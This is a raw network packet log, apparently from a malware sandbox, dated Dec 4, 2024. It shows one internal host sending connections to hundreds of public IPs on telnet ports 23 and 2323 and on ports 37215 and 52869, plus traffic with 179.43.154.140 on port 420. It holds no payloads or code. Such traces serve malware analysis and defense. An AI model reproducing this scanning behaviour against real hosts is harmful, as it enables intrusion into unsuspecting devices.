Dec 4, 2024 20:34:24.895519972 CET	23	60787	135.241.142.103	192.168.2.14
Dec 4, 2024 20:34:24.895529985 CET	23	60787	111.44.90.156	192.168.2.14
Dec 4, 2024 20:34:24.895564079 CET	60787	23	192.168.2.14	135.241.142.103
Dec 4, 2024 20:34:24.895564079 CET	60787	23	192.168.2.14	111.44.90.156
Dec 4, 2024 20:34:24.895576954 CET	2323	60787	219.96.175.231	192.168.2.14
Dec 4, 2024 20:34:24.895586967 CET	23	60787	120.64.212.152	192.168.2.14
Dec 4, 2024 20:34:24.895595074 CET	23	60787	126.206.103.250	192.168.2.14
Dec 4, 2024 20:34:24.895603895 CET	23	60787	44.224.205.72	192.168.2.14
Dec 4, 2024 20:34:24.895612001 CET	60787	2323	192.168.2.14	219.96.175.231
Dec 4, 2024 20:34:24.895617008 CET	60787	23	192.168.2.14	120.64.212.152
Dec 4, 2024 20:34:24.895622969 CET	23	60787	171.167.137.24	192.168.2.14
Dec 4, 2024 20:34:24.895625114 CET	60787	23	192.168.2.14	126.206.103.250
Dec 4, 2024 20:34:24.895625114 CET	60787	23	192.168.2.14	44.224.205.72
Dec 4, 2024 20:34:24.895638943 CET	23	60787	31.134.194.93	192.168.2.14
Dec 4, 2024 20:34:24.895649910 CET	23	60787	8.84.241.105	192.168.2.14
Dec 4, 2024 20:34:24.895658016 CET	60787	23	192.168.2.14	171.167.137.24
Dec 4, 2024 20:34:24.895670891 CET	60787	23	192.168.2.14	31.134.194.93
Dec 4, 2024 20:34:24.895673037 CET	60787	23	192.168.2.14	8.84.241.105
Dec 4, 2024 20:34:24.895721912 CET	23	60787	108.173.120.20	192.168.2.14
Dec 4, 2024 20:34:24.895731926 CET	23	60787	203.193.160.75	192.168.2.14
Dec 4, 2024 20:34:24.895766973 CET	60787	23	192.168.2.14	108.173.120.20
Dec 4, 2024 20:34:24.895767927 CET	60787	23	192.168.2.14	203.193.160.75
Dec 4, 2024 20:34:24.896394014 CET	23	60787	199.3.176.222	192.168.2.14
Dec 4, 2024 20:34:24.896434069 CET	60787	23	192.168.2.14	199.3.176.222
Dec 4, 2024 20:34:24.896456003 CET	2323	60787	36.26.12.104	192.168.2.14
Dec 4, 2024 20:34:24.896466017 CET	23	60787	128.240.118.104	192.168.2.14
Dec 4, 2024 20:34:24.896470070 CET	23	60787	108.6.227.60	192.168.2.14
Dec 4, 2024 20:34:24.896475077 CET	23	60787	41.13.91.78	192.168.2.14
Dec 4, 2024 20:34:24.896496058 CET	60787	2323	192.168.2.14	36.26.12.104
Dec 4, 2024 20:34:24.896496058 CET	23	60787	136.254.80.230	192.168.2.14
Dec 4, 2024 20:34:24.896497011 CET	60787	23	192.168.2.14	128.240.118.104
Dec 4, 2024 20:34:24.896505117 CET	60787	23	192.168.2.14	108.6.227.60
Dec 4, 2024 20:34:24.896505117 CET	60787	23	192.168.2.14	41.13.91.78
Dec 4, 2024 20:34:24.896528006 CET	60787	23	192.168.2.14	136.254.80.230
Dec 4, 2024 20:34:24.896550894 CET	23	60787	8.97.210.207	192.168.2.14
Dec 4, 2024 20:34:24.896567106 CET	23	60787	220.26.168.7	192.168.2.14
Dec 4, 2024 20:34:24.896576881 CET	23	60787	85.81.176.176	192.168.2.14
Dec 4, 2024 20:34:24.896586895 CET	60787	23	192.168.2.14	8.97.210.207
Dec 4, 2024 20:34:24.896598101 CET	60787	23	192.168.2.14	220.26.168.7
Dec 4, 2024 20:34:24.896620035 CET	23	60787	121.34.91.92	192.168.2.14
Dec 4, 2024 20:34:24.896621943 CET	60787	23	192.168.2.14	85.81.176.176
Dec 4, 2024 20:34:24.896629095 CET	23	60787	178.35.166.192	192.168.2.14
Dec 4, 2024 20:34:24.896639109 CET	420	52294	179.43.154.140	192.168.2.14
Dec 4, 2024 20:34:24.896658897 CET	60787	23	192.168.2.14	121.34.91.92
Dec 4, 2024 20:34:24.896661997 CET	60787	23	192.168.2.14	178.35.166.192
Dec 4, 2024 20:34:24.896682024 CET	52294	420	192.168.2.14	179.43.154.140
Dec 4, 2024 20:34:24.896709919 CET	52294	420	192.168.2.14	179.43.154.140
Dec 4, 2024 20:34:25.019912004 CET	420	52294	179.43.154.140	192.168.2.14
Dec 4, 2024 20:34:25.736268044 CET	60275	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:25.736280918 CET	60275	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:25.736283064 CET	60275	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:25.736284971 CET	60275	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:25.736284971 CET	60275	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:25.736284971 CET	60275	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:25.736284971 CET	60275	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:25.736284971 CET	60275	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:25.736284971 CET	60275	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:25.736299038 CET	60275	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:25.736299038 CET	60275	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:25.736299038 CET	60275	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:25.736306906 CET	60275	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:25.736306906 CET	60275	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:25.736306906 CET	60275	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:25.736309052 CET	60275	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:25.736309052 CET	60275	37215	192.168.2.14	156.118.150.76
Dec 4, 2024 20:34:25.736311913 CET	60275	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:25.736311913 CET	60275	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:25.736320019 CET	60275	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:25.736320972 CET	60275	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:25.736320972 CET	60275	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:25.736323118 CET	60275	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:25.736323118 CET	60275	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:25.736323118 CET	60275	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:25.736323118 CET	60275	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:25.736323118 CET	60275	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:25.736335039 CET	60275	37215	192.168.2.14	156.185.206.40
Dec 4, 2024 20:34:25.736335039 CET	60275	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:25.736341953 CET	60275	37215	192.168.2.14	156.36.98.78
Dec 4, 2024 20:34:25.736341953 CET	60275	37215	192.168.2.14	41.218.25.18
Dec 4, 2024 20:34:25.736341953 CET	60275	37215	192.168.2.14	197.97.83.227
Dec 4, 2024 20:34:25.736341953 CET	60275	37215	192.168.2.14	197.121.233.57
Dec 4, 2024 20:34:25.736350060 CET	60275	37215	192.168.2.14	197.83.168.206
Dec 4, 2024 20:34:25.736350060 CET	60275	37215	192.168.2.14	41.132.5.179
Dec 4, 2024 20:34:25.736350060 CET	60275	37215	192.168.2.14	197.234.28.90
Dec 4, 2024 20:34:25.736351013 CET	60275	37215	192.168.2.14	41.148.173.245
Dec 4, 2024 20:34:25.736355066 CET	60275	37215	192.168.2.14	156.141.27.234
Dec 4, 2024 20:34:25.736365080 CET	60275	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:25.736368895 CET	60275	37215	192.168.2.14	156.207.141.171
Dec 4, 2024 20:34:25.736373901 CET	60275	37215	192.168.2.14	41.199.58.224
Dec 4, 2024 20:34:25.736375093 CET	60275	37215	192.168.2.14	156.18.94.51
Dec 4, 2024 20:34:25.736375093 CET	60275	37215	192.168.2.14	197.137.12.25
Dec 4, 2024 20:34:25.736375093 CET	60275	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:25.736375093 CET	60275	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:25.736375093 CET	60275	37215	192.168.2.14	156.188.155.149
Dec 4, 2024 20:34:25.736387014 CET	60275	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:25.736396074 CET	60275	37215	192.168.2.14	156.243.30.234
Dec 4, 2024 20:34:25.736399889 CET	60275	37215	192.168.2.14	156.54.44.90
Dec 4, 2024 20:34:25.736399889 CET	60275	37215	192.168.2.14	197.172.250.156
Dec 4, 2024 20:34:25.736404896 CET	60275	37215	192.168.2.14	197.73.36.58
Dec 4, 2024 20:34:25.736413002 CET	60275	37215	192.168.2.14	197.170.86.190
Dec 4, 2024 20:34:25.736413002 CET	60275	37215	192.168.2.14	197.93.150.183
Dec 4, 2024 20:34:25.736416101 CET	60275	37215	192.168.2.14	41.38.128.112
Dec 4, 2024 20:34:25.736416101 CET	60275	37215	192.168.2.14	197.166.65.21
Dec 4, 2024 20:34:25.736422062 CET	60275	37215	192.168.2.14	197.118.189.73
Dec 4, 2024 20:34:25.736422062 CET	60275	37215	192.168.2.14	156.1.142.180
Dec 4, 2024 20:34:25.736423016 CET	60275	37215	192.168.2.14	197.70.221.90
Dec 4, 2024 20:34:25.736422062 CET	60275	37215	192.168.2.14	41.97.190.30
Dec 4, 2024 20:34:25.736430883 CET	60275	37215	192.168.2.14	41.234.244.9
Dec 4, 2024 20:34:25.736433029 CET	60275	37215	192.168.2.14	41.133.130.130
Dec 4, 2024 20:34:25.736434937 CET	60275	37215	192.168.2.14	197.39.33.249
Dec 4, 2024 20:34:25.736438990 CET	60275	37215	192.168.2.14	156.169.221.213
Dec 4, 2024 20:34:25.736450911 CET	60275	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:25.736453056 CET	60275	37215	192.168.2.14	156.76.127.73
Dec 4, 2024 20:34:25.736457109 CET	60275	37215	192.168.2.14	197.131.55.234
Dec 4, 2024 20:34:25.736459970 CET	60275	37215	192.168.2.14	41.89.86.35
Dec 4, 2024 20:34:25.736460924 CET	60275	37215	192.168.2.14	156.17.223.166
Dec 4, 2024 20:34:25.736475945 CET	60275	37215	192.168.2.14	41.132.108.110
Dec 4, 2024 20:34:25.736485004 CET	60275	37215	192.168.2.14	156.122.28.201
Dec 4, 2024 20:34:25.736485958 CET	60275	37215	192.168.2.14	197.248.198.178
Dec 4, 2024 20:34:25.736485958 CET	60275	37215	192.168.2.14	197.14.22.139
Dec 4, 2024 20:34:25.736488104 CET	60275	37215	192.168.2.14	156.16.222.195
Dec 4, 2024 20:34:25.736485958 CET	60275	37215	192.168.2.14	197.36.131.169
Dec 4, 2024 20:34:25.736485958 CET	60275	37215	192.168.2.14	41.14.72.174
Dec 4, 2024 20:34:25.736495018 CET	60275	37215	192.168.2.14	41.76.128.125
Dec 4, 2024 20:34:25.736495972 CET	60275	37215	192.168.2.14	197.130.161.148
Dec 4, 2024 20:34:25.736495018 CET	60275	37215	192.168.2.14	197.66.42.187
Dec 4, 2024 20:34:25.736500978 CET	60275	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:25.736501932 CET	60275	37215	192.168.2.14	156.68.169.141
Dec 4, 2024 20:34:25.736501932 CET	60275	37215	192.168.2.14	41.209.140.78
Dec 4, 2024 20:34:25.736514091 CET	60275	37215	192.168.2.14	197.60.193.45
Dec 4, 2024 20:34:25.736519098 CET	60275	37215	192.168.2.14	41.246.105.213
Dec 4, 2024 20:34:25.736519098 CET	60275	37215	192.168.2.14	197.99.150.85
Dec 4, 2024 20:34:25.736529112 CET	60275	37215	192.168.2.14	197.196.118.52
Dec 4, 2024 20:34:25.736530066 CET	60275	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:25.736530066 CET	60275	37215	192.168.2.14	156.46.231.49
Dec 4, 2024 20:34:25.736530066 CET	60275	37215	192.168.2.14	41.127.162.160
Dec 4, 2024 20:34:25.736530066 CET	60275	37215	192.168.2.14	156.127.137.224
Dec 4, 2024 20:34:25.736530066 CET	60275	37215	192.168.2.14	156.48.9.140
Dec 4, 2024 20:34:25.736534119 CET	60275	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:25.736535072 CET	60275	37215	192.168.2.14	197.106.146.54
Dec 4, 2024 20:34:25.736535072 CET	60275	37215	192.168.2.14	197.100.48.63
Dec 4, 2024 20:34:25.736542940 CET	60275	37215	192.168.2.14	156.147.35.244
Dec 4, 2024 20:34:25.736548901 CET	60275	37215	192.168.2.14	41.132.100.177
Dec 4, 2024 20:34:25.736561060 CET	60275	37215	192.168.2.14	41.113.111.126
Dec 4, 2024 20:34:25.736561060 CET	60275	37215	192.168.2.14	156.15.219.247
Dec 4, 2024 20:34:25.736561060 CET	60275	37215	192.168.2.14	156.196.176.20
Dec 4, 2024 20:34:25.736565113 CET	60275	37215	192.168.2.14	197.35.197.202
Dec 4, 2024 20:34:25.736565113 CET	60275	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:25.736565113 CET	60275	37215	192.168.2.14	41.49.70.143
Dec 4, 2024 20:34:25.736568928 CET	60275	37215	192.168.2.14	41.105.81.176
Dec 4, 2024 20:34:25.736571074 CET	60275	37215	192.168.2.14	197.42.248.169
Dec 4, 2024 20:34:25.736582041 CET	60275	37215	192.168.2.14	197.214.0.190
Dec 4, 2024 20:34:25.736583948 CET	60275	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:25.736602068 CET	60275	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:25.736602068 CET	60275	37215	192.168.2.14	41.29.20.203
Dec 4, 2024 20:34:25.736604929 CET	60275	37215	192.168.2.14	41.37.188.94
Dec 4, 2024 20:34:25.736605883 CET	60275	37215	192.168.2.14	156.89.173.110
Dec 4, 2024 20:34:25.736605883 CET	60275	37215	192.168.2.14	156.179.59.54
Dec 4, 2024 20:34:25.736605883 CET	60275	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:25.736605883 CET	60275	37215	192.168.2.14	156.90.49.226
Dec 4, 2024 20:34:25.736612082 CET	60275	37215	192.168.2.14	41.232.154.218
Dec 4, 2024 20:34:25.736613035 CET	60275	37215	192.168.2.14	156.251.217.255
Dec 4, 2024 20:34:25.736629963 CET	60275	37215	192.168.2.14	156.54.168.161
Dec 4, 2024 20:34:25.736634970 CET	60275	37215	192.168.2.14	156.34.144.151
Dec 4, 2024 20:34:25.736633062 CET	60275	37215	192.168.2.14	197.182.44.141
Dec 4, 2024 20:34:25.736638069 CET	60275	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:25.736638069 CET	60275	37215	192.168.2.14	41.97.166.226
Dec 4, 2024 20:34:25.736639023 CET	60275	37215	192.168.2.14	156.110.100.62
Dec 4, 2024 20:34:25.736639023 CET	60275	37215	192.168.2.14	197.46.210.104
Dec 4, 2024 20:34:25.736645937 CET	60275	37215	192.168.2.14	197.30.70.180
Dec 4, 2024 20:34:25.736648083 CET	60275	37215	192.168.2.14	156.126.207.8
Dec 4, 2024 20:34:25.736650944 CET	60275	37215	192.168.2.14	197.170.229.87
Dec 4, 2024 20:34:25.736650944 CET	60275	37215	192.168.2.14	41.251.151.107
Dec 4, 2024 20:34:25.736650944 CET	60275	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:25.736654043 CET	60275	37215	192.168.2.14	156.91.56.95
Dec 4, 2024 20:34:25.736651897 CET	60275	37215	192.168.2.14	41.183.182.85
Dec 4, 2024 20:34:25.736660004 CET	60275	37215	192.168.2.14	197.195.148.73
Dec 4, 2024 20:34:25.736665964 CET	60275	37215	192.168.2.14	197.145.5.200
Dec 4, 2024 20:34:25.736665964 CET	60275	37215	192.168.2.14	41.93.13.147
Dec 4, 2024 20:34:25.736668110 CET	60275	37215	192.168.2.14	156.245.24.240
Dec 4, 2024 20:34:25.736669064 CET	60275	37215	192.168.2.14	197.97.250.235
Dec 4, 2024 20:34:25.736670971 CET	60275	37215	192.168.2.14	156.209.94.33
Dec 4, 2024 20:34:25.736670971 CET	60275	37215	192.168.2.14	41.194.133.210
Dec 4, 2024 20:34:25.736671925 CET	60275	37215	192.168.2.14	156.202.224.22
Dec 4, 2024 20:34:25.736680031 CET	60275	37215	192.168.2.14	41.10.22.176
Dec 4, 2024 20:34:25.736681938 CET	60275	37215	192.168.2.14	156.119.182.106
Dec 4, 2024 20:34:25.736682892 CET	60275	37215	192.168.2.14	156.12.51.88
Dec 4, 2024 20:34:25.736700058 CET	60275	37215	192.168.2.14	197.43.179.246
Dec 4, 2024 20:34:25.736700058 CET	60275	37215	192.168.2.14	156.190.205.225
Dec 4, 2024 20:34:25.736706018 CET	60275	37215	192.168.2.14	156.216.74.159
Dec 4, 2024 20:34:25.736711025 CET	60275	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:25.736711025 CET	60275	37215	192.168.2.14	41.205.33.79
Dec 4, 2024 20:34:25.736715078 CET	60275	37215	192.168.2.14	41.242.246.68
Dec 4, 2024 20:34:25.736720085 CET	60275	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:25.736720085 CET	60275	37215	192.168.2.14	156.220.220.107
Dec 4, 2024 20:34:25.736720085 CET	60275	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:25.736720085 CET	60275	37215	192.168.2.14	156.12.51.1
Dec 4, 2024 20:34:25.736722946 CET	60275	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:25.736722946 CET	60275	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:25.736722946 CET	60275	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:25.736723900 CET	60275	37215	192.168.2.14	156.5.44.70
Dec 4, 2024 20:34:25.736722946 CET	60275	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:25.736723900 CET	60275	37215	192.168.2.14	197.190.235.72
Dec 4, 2024 20:34:25.736726999 CET	60275	37215	192.168.2.14	156.248.29.147
Dec 4, 2024 20:34:25.736723900 CET	60275	37215	192.168.2.14	41.136.37.22
Dec 4, 2024 20:34:25.736736059 CET	60275	37215	192.168.2.14	197.253.146.211
Dec 4, 2024 20:34:25.736737013 CET	60275	37215	192.168.2.14	156.189.214.187
Dec 4, 2024 20:34:25.736738920 CET	60275	37215	192.168.2.14	156.174.19.20
Dec 4, 2024 20:34:25.739717960 CET	60019	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:25.739720106 CET	60019	52869	192.168.2.14	41.103.209.188
Dec 4, 2024 20:34:25.739728928 CET	60019	52869	192.168.2.14	41.174.40.11
Dec 4, 2024 20:34:25.739728928 CET	60019	52869	192.168.2.14	156.149.147.139
Dec 4, 2024 20:34:25.739737034 CET	60019	52869	192.168.2.14	197.207.12.12
Dec 4, 2024 20:34:25.739742041 CET	60019	52869	192.168.2.14	41.129.42.30
Dec 4, 2024 20:34:25.739751101 CET	60019	52869	192.168.2.14	156.235.201.159
Dec 4, 2024 20:34:25.739751101 CET	60019	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:25.739753962 CET	60019	52869	192.168.2.14	197.61.232.166
Dec 4, 2024 20:34:25.739754915 CET	60019	52869	192.168.2.14	156.88.209.208
Dec 4, 2024 20:34:25.739765882 CET	60019	52869	192.168.2.14	41.135.93.166
Dec 4, 2024 20:34:25.739773989 CET	60019	52869	192.168.2.14	156.57.109.37
Dec 4, 2024 20:34:25.739783049 CET	60019	52869	192.168.2.14	41.222.211.104
Dec 4, 2024 20:34:25.739787102 CET	60019	52869	192.168.2.14	197.82.65.161
Dec 4, 2024 20:34:25.739795923 CET	60019	52869	192.168.2.14	41.191.54.80
Dec 4, 2024 20:34:25.739799976 CET	60019	52869	192.168.2.14	156.95.214.212
Dec 4, 2024 20:34:25.739809990 CET	60019	52869	192.168.2.14	156.125.46.219
Dec 4, 2024 20:34:25.739809990 CET	60019	52869	192.168.2.14	156.229.181.62
Dec 4, 2024 20:34:25.739815950 CET	60019	52869	192.168.2.14	156.30.92.86
Dec 4, 2024 20:34:25.739823103 CET	60019	52869	192.168.2.14	156.34.193.1
Dec 4, 2024 20:34:25.739825964 CET	60019	52869	192.168.2.14	197.100.107.0
Dec 4, 2024 20:34:25.739834070 CET	60019	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:25.739840031 CET	60019	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:25.739842892 CET	60019	52869	192.168.2.14	41.107.6.252
Dec 4, 2024 20:34:25.739842892 CET	60019	52869	192.168.2.14	197.1.190.197
Dec 4, 2024 20:34:25.739845991 CET	60019	52869	192.168.2.14	197.89.179.31
Dec 4, 2024 20:34:25.739856958 CET	60019	52869	192.168.2.14	156.249.137.110
Dec 4, 2024 20:34:25.739865065 CET	60019	52869	192.168.2.14	156.48.140.101
Dec 4, 2024 20:34:25.739866018 CET	60019	52869	192.168.2.14	156.187.20.109
Dec 4, 2024 20:34:25.739875078 CET	60019	52869	192.168.2.14	197.149.191.62
Dec 4, 2024 20:34:25.739875078 CET	60019	52869	192.168.2.14	156.43.129.143
Dec 4, 2024 20:34:25.739883900 CET	60019	52869	192.168.2.14	41.27.123.27
Dec 4, 2024 20:34:25.739885092 CET	60019	52869	192.168.2.14	41.187.20.236
Dec 4, 2024 20:34:25.739887953 CET	60019	52869	192.168.2.14	41.205.219.35
Dec 4, 2024 20:34:25.739898920 CET	60019	52869	192.168.2.14	197.142.129.29
Dec 4, 2024 20:34:25.739900112 CET	60019	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:25.739901066 CET	60019	52869	192.168.2.14	197.218.147.117
Dec 4, 2024 20:34:25.739902973 CET	60019	52869	192.168.2.14	156.44.220.216
Dec 4, 2024 20:34:25.739903927 CET	60019	52869	192.168.2.14	197.162.199.101
Dec 4, 2024 20:34:25.739905119 CET	60019	52869	192.168.2.14	197.100.102.194
Dec 4, 2024 20:34:25.739918947 CET	60019	52869	192.168.2.14	156.41.217.253
Dec 4, 2024 20:34:25.739929914 CET	60019	52869	192.168.2.14	41.103.215.205
Dec 4, 2024 20:34:25.739931107 CET	60019	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:25.739943027 CET	60019	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:25.739943027 CET	60019	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:25.739945889 CET	60019	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:25.739959002 CET	60019	52869	192.168.2.14	156.162.89.139
Dec 4, 2024 20:34:25.739959002 CET	60019	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:25.739959955 CET	60019	52869	192.168.2.14	156.99.178.7
Dec 4, 2024 20:34:25.739963055 CET	60019	52869	192.168.2.14	197.70.132.232
Dec 4, 2024 20:34:25.739963055 CET	60019	52869	192.168.2.14	197.132.171.98
Dec 4, 2024 20:34:25.739969015 CET	60019	52869	192.168.2.14	197.135.59.96
Dec 4, 2024 20:34:25.739973068 CET	60019	52869	192.168.2.14	197.46.172.83
Dec 4, 2024 20:34:25.739985943 CET	60019	52869	192.168.2.14	197.218.195.246
Dec 4, 2024 20:34:25.739985943 CET	60019	52869	192.168.2.14	41.191.147.247
Dec 4, 2024 20:34:25.739986897 CET	60019	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:25.739986897 CET	60019	52869	192.168.2.14	197.218.155.181
Dec 4, 2024 20:34:25.739986897 CET	60019	52869	192.168.2.14	197.16.184.131
Dec 4, 2024 20:34:25.739986897 CET	60019	52869	192.168.2.14	41.141.127.36
Dec 4, 2024 20:34:25.739993095 CET	60019	52869	192.168.2.14	41.151.25.158
Dec 4, 2024 20:34:25.739999056 CET	60019	52869	192.168.2.14	41.133.228.190
Dec 4, 2024 20:34:25.740005016 CET	60019	52869	192.168.2.14	197.154.16.245
Dec 4, 2024 20:34:25.740005016 CET	60019	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:25.740015984 CET	60019	52869	192.168.2.14	41.152.98.185
Dec 4, 2024 20:34:25.740017891 CET	60019	52869	192.168.2.14	156.101.138.138
Dec 4, 2024 20:34:25.740019083 CET	60019	52869	192.168.2.14	197.193.229.83
Dec 4, 2024 20:34:25.740029097 CET	60019	52869	192.168.2.14	156.199.251.203
Dec 4, 2024 20:34:25.740031958 CET	60019	52869	192.168.2.14	41.91.62.119
Dec 4, 2024 20:34:25.740045071 CET	60019	52869	192.168.2.14	156.117.216.181
Dec 4, 2024 20:34:25.740051985 CET	60019	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:25.740060091 CET	60019	52869	192.168.2.14	197.168.102.205
Dec 4, 2024 20:34:25.740060091 CET	60019	52869	192.168.2.14	41.113.109.146
Dec 4, 2024 20:34:25.740058899 CET	60019	52869	192.168.2.14	197.241.250.10
Dec 4, 2024 20:34:25.740058899 CET	60019	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:25.740066051 CET	60019	52869	192.168.2.14	197.164.96.86
Dec 4, 2024 20:34:25.740073919 CET	60019	52869	192.168.2.14	197.9.119.228
Dec 4, 2024 20:34:25.740080118 CET	60019	52869	192.168.2.14	41.74.212.165
Dec 4, 2024 20:34:25.740080118 CET	60019	52869	192.168.2.14	197.13.85.162
Dec 4, 2024 20:34:25.740087986 CET	60019	52869	192.168.2.14	41.204.228.145
Dec 4, 2024 20:34:25.740099907 CET	60019	52869	192.168.2.14	156.138.242.151
Dec 4, 2024 20:34:25.740108967 CET	60019	52869	192.168.2.14	41.6.59.74
Dec 4, 2024 20:34:25.740108967 CET	60019	52869	192.168.2.14	197.50.121.64
Dec 4, 2024 20:34:25.740109921 CET	60019	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:25.740111113 CET	60019	52869	192.168.2.14	197.112.39.52
Dec 4, 2024 20:34:25.740123987 CET	60019	52869	192.168.2.14	156.240.145.137
Dec 4, 2024 20:34:25.740128040 CET	60019	52869	192.168.2.14	197.172.165.205
Dec 4, 2024 20:34:25.740128994 CET	60019	52869	192.168.2.14	197.189.47.51
Dec 4, 2024 20:34:25.740137100 CET	60019	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:25.740137100 CET	60019	52869	192.168.2.14	156.179.3.91
Dec 4, 2024 20:34:25.740138054 CET	60019	52869	192.168.2.14	41.63.183.123
Dec 4, 2024 20:34:25.740142107 CET	60019	52869	192.168.2.14	197.208.106.255
Dec 4, 2024 20:34:25.740147114 CET	60019	52869	192.168.2.14	156.168.207.39
Dec 4, 2024 20:34:25.740148067 CET	60019	52869	192.168.2.14	41.193.13.127
Dec 4, 2024 20:34:25.740150928 CET	60019	52869	192.168.2.14	41.19.117.92
Dec 4, 2024 20:34:25.740150928 CET	60019	52869	192.168.2.14	41.74.65.247
Dec 4, 2024 20:34:25.740156889 CET	60019	52869	192.168.2.14	41.199.190.34
Dec 4, 2024 20:34:25.740158081 CET	60019	52869	192.168.2.14	156.18.91.222
Dec 4, 2024 20:34:25.740158081 CET	60019	52869	192.168.2.14	197.30.212.88
Dec 4, 2024 20:34:25.740163088 CET	60019	52869	192.168.2.14	156.82.221.129
Dec 4, 2024 20:34:25.740166903 CET	60019	52869	192.168.2.14	156.93.153.88
Dec 4, 2024 20:34:25.740166903 CET	60019	52869	192.168.2.14	197.30.16.119
Dec 4, 2024 20:34:25.740173101 CET	60019	52869	192.168.2.14	41.183.46.202
Dec 4, 2024 20:34:25.740173101 CET	60019	52869	192.168.2.14	197.28.154.184
Dec 4, 2024 20:34:25.740174055 CET	60019	52869	192.168.2.14	156.199.59.166
Dec 4, 2024 20:34:25.740173101 CET	60019	52869	192.168.2.14	41.227.129.228
Dec 4, 2024 20:34:25.740173101 CET	60019	52869	192.168.2.14	156.241.126.158
Dec 4, 2024 20:34:25.740178108 CET	60019	52869	192.168.2.14	41.14.217.141
Dec 4, 2024 20:34:25.740178108 CET	60019	52869	192.168.2.14	41.254.67.195
Dec 4, 2024 20:34:25.740178108 CET	60019	52869	192.168.2.14	197.134.199.44
Dec 4, 2024 20:34:25.740180016 CET	60019	52869	192.168.2.14	197.7.71.245
Dec 4, 2024 20:34:25.740180016 CET	60019	52869	192.168.2.14	156.38.138.77
Dec 4, 2024 20:34:25.740180016 CET	60019	52869	192.168.2.14	156.83.102.83
Dec 4, 2024 20:34:25.740184069 CET	60019	52869	192.168.2.14	156.133.31.26
Dec 4, 2024 20:34:25.740187883 CET	60019	52869	192.168.2.14	156.26.104.85
Dec 4, 2024 20:34:25.740189075 CET	60019	52869	192.168.2.14	156.83.22.152
Dec 4, 2024 20:34:25.740189075 CET	60019	52869	192.168.2.14	197.90.117.33
Dec 4, 2024 20:34:25.740191936 CET	60019	52869	192.168.2.14	156.128.83.47
Dec 4, 2024 20:34:25.740194082 CET	60019	52869	192.168.2.14	41.44.187.18
Dec 4, 2024 20:34:25.740195990 CET	60019	52869	192.168.2.14	156.36.131.175
Dec 4, 2024 20:34:25.740202904 CET	60019	52869	192.168.2.14	156.234.41.215
Dec 4, 2024 20:34:25.740204096 CET	60019	52869	192.168.2.14	197.22.207.91
Dec 4, 2024 20:34:25.740207911 CET	60019	52869	192.168.2.14	41.253.145.218
Dec 4, 2024 20:34:25.740215063 CET	60019	52869	192.168.2.14	197.144.177.43
Dec 4, 2024 20:34:25.740228891 CET	60019	52869	192.168.2.14	156.35.180.167
Dec 4, 2024 20:34:25.740230083 CET	60019	52869	192.168.2.14	197.91.41.94
Dec 4, 2024 20:34:25.740231991 CET	60019	52869	192.168.2.14	41.42.45.26
